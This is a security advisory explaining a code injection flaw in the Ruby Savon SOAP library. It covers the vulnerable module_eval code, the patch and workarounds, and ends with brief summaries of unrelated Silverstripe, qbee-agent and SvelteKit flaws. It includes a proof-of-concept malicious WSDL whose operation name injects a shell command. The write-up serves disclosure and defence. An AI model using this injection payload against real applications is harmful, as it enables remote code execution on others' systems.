Aug 1, 2026·6 min read·108 visits
Unsanitized WSDL operation names are interpolated directly into double-quoted strings within module_eval in Savon < 2.17.2. This enables remote code execution when parsing a malicious or compromised WSDL document.
A critical code injection vulnerability exists in Savon, a widely used SOAP client library for Ruby, prior to version 2.17.2. The vulnerability resides within the Savon::Model.all_operations module, where operation names fetched from a target Web Services Description Language (WSDL) document are dynamically evaluated via module_eval without sanitization. An attacker capable of manipulating the target WSDL document (e.g., through Man-in-the-Middle attacks, DNS hijacking, or Server-Side Request Forgery) can execute arbitrary Ruby code in the context of the parent application process.
Savon is an open-source SOAP client library for the Ruby programming language. The Savon::Model module provides a declarative DSL (Domain Specific Language) to map SOAP operations directly to Ruby class and instance methods. This mapping is handled automatically by the all_operations class method, which dynamically parses a remote or local WSDL document using the Wasabi library and defines corresponding helper methods.
The attack surface exists in the interface between the parsed WSDL definitions and the Ruby execution environment. The library dynamically generates method bindings by translating SOAP operation tags into Ruby identifiers. Because the translation pipeline accepts metadata fields from external documents without validation, an application that points Savon to an untrusted or interceptable WSDL endpoint exposes itself to code injection.
The vulnerability is classified under CWE-94 (Improper Control of Generation of Code). The impact of this vulnerability is severe, as successful exploitation results in unauthenticated, remote execution of arbitrary commands or scripting code under the permissions of the application worker process.
The root cause of this vulnerability lies in the implementation of the define_class_operation and define_instance_operation helper methods within the Savon::Model class. When Savon maps SOAP operations, it retrieves a collection of operation names as strings from the parsed WSDL. To dynamically establish helper methods for these operations, the library utilizes the module_eval meta-programming method.
Inside the vulnerable versions of lib/savon/model.rb, the dynamic method definitions were constructed by interpolating the snakecased operation names into double-quoted string templates. This template string was then compiled and executed by the Ruby interpreter. Because double-quoted strings inside a module_eval block are evaluated dynamically, any embedded interpolation or line terminators within the string literal are parsed as active Ruby syntax.
def define_class_operation(operation)
class_operation_module.module_eval %{
def #{StringUtils.snakecase(operation.to_s)}(locals = {})
client.call #{operation.inspect}, locals
end
}, __FILE__, __LINE__ - 4
endIf an operation name contains a newline sequence followed by valid Ruby syntax, the parser interprets the newline as a statement separator. The Ruby compiler executes the injected statements before defining any remaining, dummy structures required to avoid compile-time syntax errors. Consequently, the input string breaks out of the method definition context and executes arbitrary code directly during class evaluation.
In versions prior to 2.17.2, the code generation path in lib/savon/model.rb relied entirely on evaluating string literals. The following block contrasts the vulnerable implementation with the secure remediation implemented in the official patch.
# VULNERABLE CODE PATH (Savon < 2.17.2)
def define_class_operation(operation)
class_operation_module.module_eval %{
def #{StringUtils.snakecase(operation.to_s)}(locals = {})
client.call #{operation.inspect}, locals
end
}, __FILE__, __LINE__ - 4
end# PATCHED CODE PATH (Savon >= 2.17.2)
def define_class_operation(operation)
method_name = operation_method_name(operation)
class_operation_module.define_method(method_name) do |locals = {}|
client.call operation, locals
end
end
def operation_method_name(operation)
StringUtils.snakecase(operation.to_s).to_sym
endThe patch eliminates the module_eval compilation phase entirely. By replacing raw string generation with Module#define_method, the runtime treats the generated method name strictly as a Symbol and binds the body within a standard Ruby block closure. This architectural shift ensures that the operation name is processed purely as a data identifier rather than executable instructions, neutralising any embedded injection vectors.
Exploitation requires that an attacker can control the contents of the WSDL file parsed by the Savon client. This condition is met when the target application processes dynamic user-provided WSDL URLs, communicates with an upstream provider over unencrypted HTTP, or is susceptible to local file write vulnerabilities.
An attacker constructs a malicious WSDL containing a crafted operation name. By using the XML numeric entity to represent a newline inside the name attribute, the attacker escapes the method signature layout. The payload below demonstrates this technique:
<?xml version="1.0"?>
<wsdl:definitions xmlns:wsdl="http://schemas.xmlsoap.org/wsdl/"
xmlns:soap="http://schemas.xmlsoap.org/wsdl/soap/"
name="ExploitService" targetNamespace="urn:exploit">
<wsdl:binding name="ExploitBinding" type="wsdl:ExploitPort">
<soap:binding style="rpc" transport="http://schemas.xmlsoap.org/soap/http"/>
<wsdl:operation name="foo end `touch /tmp/pwned_savon_model` def x">
<soap:operation soapAction="urn:exploit#foo"/>
</wsdl:operation>
</wsdl:binding>
</wsdl:definitions>When the victim application initializes the dynamic integrations by calling all_operations, the operation name is converted and executed. The resulting evaluated code maps directly to this structure:
def foo
end
`touch /tmp/pwned_savon_model`
def x(locals = {})
client.call "foo\nend\n`touch /tmp/pwned_savon_model`\ndef x", locals
endThe subshell execution `touch /tmp/pwned_savon_model` runs under the privileges of the active Ruby process immediately upon parsing.
The CVSS Base Score is evaluated at 8.1 (High) with the vector CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H. Although the vulnerability allows remote code execution without privileges or user interaction, the Attack Complexity is classified as High. An attacker must manipulate or intercept the WSDL transmission channel to feed the malicious definitions to the parser.
If the application process is running with root or administrative privileges, successful exploitation gives the attacker complete system compromise. This includes the ability to read sensitive environment variables, extract database credentials, modify application files, or pivot to internal network infrastructure.
Even in environments where network access is restricted, local file inclusion (LFI) or server-side parameter control could allow an attacker to direct Savon to parse a local, malicious file, resulting in local privilege escalation or container escape if host directories are poorly isolated.
To fully remediate CVE-2026-53510, software developers must upgrade the Savon gem to version 2.17.2 or later. This version replaces module_eval with safe define_method calls.
In scenarios where an immediate library upgrade is not possible, developers should avoid using the dynamic Savon::Model.all_operations initializer. Instead, configure Savon::Model by hardcoding trusted operation names using the explicit operations class method. This approach ensures that dynamic mapping logic is bypassed completely.
# SAFE COMPROMISE WORKAROUND
class SecureSoapService
extend Savon::Model
client wsdl: "http://example.com/untrusted.wsdl"
# Manually list safe operations, preventing automated evaluation
operations :get_user_profile, :update_user_profile
endAdditionally, applications fetching WSDLs from remote endpoints must enforce strict TLS peer verification. Do not disable SSL verification in the Savon client configuration, and avoid using insecure HTTP URLs to ingest dynamic integration configurations.
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H| Product | Affected Versions | Fixed Version |
|---|---|---|
savon savonrb | >= 0.9.8, < 2.17.2 | 2.17.2 |
| Attribute | Detail |
|---|---|
| CWE ID | CWE-94: Improper Control of Generation of Code ('Code Injection') |
| Attack Vector | Network (with High Complexity) |
| CVSS v3.1 Score | 8.1 |
| Exploit Status | Proof of Concept (PoC) documented in test suite |
| CISA KEV Status | Not listed |
| Remediation Status | Patched in Version 2.17.2 |
The product generates code or parses code using unsanitized inputs from upstream sources, allowing an attacker to inject arbitrary commands or scripts.
CVE-2026-88989 (tracked as GHSA-3qh3-54qg-gpq3) is a missing authorization vulnerability (CWE-862) in the Silverstripe Framework affecting versions prior to 6.2.13. The flaw exists within the GridFieldDetailForm_ItemRequest request handler, which orchestrates record creation and editing workflows inside the Silverstripe CMS backend. Specifically, the server-side persistence method saveFormIntoRecord() fails to verify whether an authenticated user possesses the necessary creation permissions (canCreate) when processing an unpersisted DataObject record. Consequently, a low-privileged CMS user who has permission to access a GridField interface and edit existing records can bypass role-based creation restrictions. By sending a crafted HTTP POST request directly to the item/new endpoint with the action_doSave parameter, the user can instantiate and persist unauthorized database records. The vulnerability is rated Medium severity with a CVSS v3.1 base score of 4.3 and is remediated in Silverstripe Framework version 6.2.13.
Silverstripe Framework prior to version 6.2.13 contains an improper privilege management vulnerability (CWE-269) within the Group authorization and validation logic. A delegated administrator possessing the CMS_ACCESS_SecurityAdmin permission, but lacking full ADMIN privileges, can edit or reparent groups that acquire administrative capabilities indirectly via permission roles or ancestor inheritance. By adding their own account to such a group or moving a controlled group underneath a role-privileged parent, the user escalates to full administrative access across the CMS.
A missing authorization and type validation vulnerability in Silverstripe Framework prior to version 6.2.13 allows authenticated CMS users to convert database records into arbitrary DataObject classes via user-controlled ClassName parameters in GridField detail forms.
CVE-2026-91115 (GHSA-c94f-87xg-65wf) is an unsafe reflection vulnerability in the Silverstripe Framework affecting versions 6.0.0 prior to 6.2.13. The built-in development task i18nTextCollectorTask passes the user-supplied 'writer' parameter directly to Silverstripe's dependency injection container (Injector::inst()->get()) without verifying that the requested class implements the expected Writer interface. Because the dependency injector supports instantiating arbitrary classes with attacker-supplied constructor arguments, and because nested task URLs bypassed interactive confirmation middleware, an attacker can achieve remote code execution via unauthenticated requests on development instances or via Cross-Site Request Forgery (CSRF) against authenticated administrators on production instances.
CVE-2026-129237 is a partial path traversal (Zip Slip) vulnerability in qbee-agent, the device agent for the qbee.io IoT device management platform. Prior to version 2026.41, the tar archive extraction routine in app/utils/tar.go used strings.HasPrefix without enforcing a directory separator boundary. When the Docker Compose bundle configuration has UseContext enabled, an authenticated user with delegated configuration or file management privileges can supply a crafted tar archive containing sibling-prefix traversal sequences, allowing directory creation and file writes into adjacent sibling directories outside the intended extraction root.
CVE-2026-128118 (GHSA-m9j8-jcmv-hp69) is an information disclosure vulnerability affecting the SvelteKit framework (@sveltejs/kit) from version 3.0.0 through 3.1.0. A design flaw in the build-time Vite module guard plugin (plugin_guard) failed to register src/params.js as a client entry point and implemented a fail-open validation model. Consequently, server-only modules and private environment variables imported directly or dynamically within parameter matchers were compiled into publicly accessible client-side JavaScript bundles without triggering a build error.